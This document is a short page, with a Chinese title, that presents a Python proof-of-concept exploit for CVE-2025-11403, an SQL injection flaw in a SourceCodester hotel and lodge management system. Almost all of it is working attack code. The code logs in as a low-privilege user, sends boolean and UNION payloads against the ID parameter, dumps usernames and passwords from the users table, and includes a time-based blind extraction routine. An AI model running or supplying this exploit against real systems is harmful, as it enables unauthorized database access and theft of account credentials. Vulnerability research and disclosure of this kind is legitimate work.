CVE-2025-11403：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11403 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /del_booking.php via ID parameter # Author: TThuyyy (based on public disclosure) import requests TARGET_URL = "http://target-site.com/del_booking.php" # Step 1: Authenticate to obtain low-privilege session (PR:L required) session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } session.post("http://target-site.com/login.php", data=login_data) # Step 2: Exploit SQL Injection via ID parameter # Payload 1: Boolean-based blind injection to confirm vulnerability payload_blind = "1' AND 1=1-- -" # Payload 2: UNION-based injection to extract data payload_union = ( "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" ) # Payload 3: Extract admin credentials payload_creds = ( "1' UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users-- -" ) # Step 3: Send malicious request params = {"ID": payload_creds} response = session.get(TARGET_URL, params=params) print("Status Code:", response.status_code) print("Response Length:", len(response.text)) print("Response Body:\n", response.text[:2000]) # Step 4: Automated extraction using time-based blind injection import time def time_based_sqli(session, target_url, param_name="ID"): """Use time-based blind SQLi to extract data character by character.""" extracted = "" for position in range(1, 50): for ascii_val in range(32, 127): payload = ( f"1' AND IF(ASCII(SUBSTRING((SELECT password FROM users " f"LIMIT 1),{position},1))={ascii_val},SLEEP(2),0)-- -" ) start = time.time() session.get(target_url, params={param_name: payload}) elapsed = time.time() - start if elapsed >= 2: extracted += chr(ascii_val) print(f"[+] Extracted so far: {extracted}") break else: break return extracted # Uncomment to run automated extraction: # password = time_based_sqli(session, TARGET_URL) # print(f"Extracted password: {password}")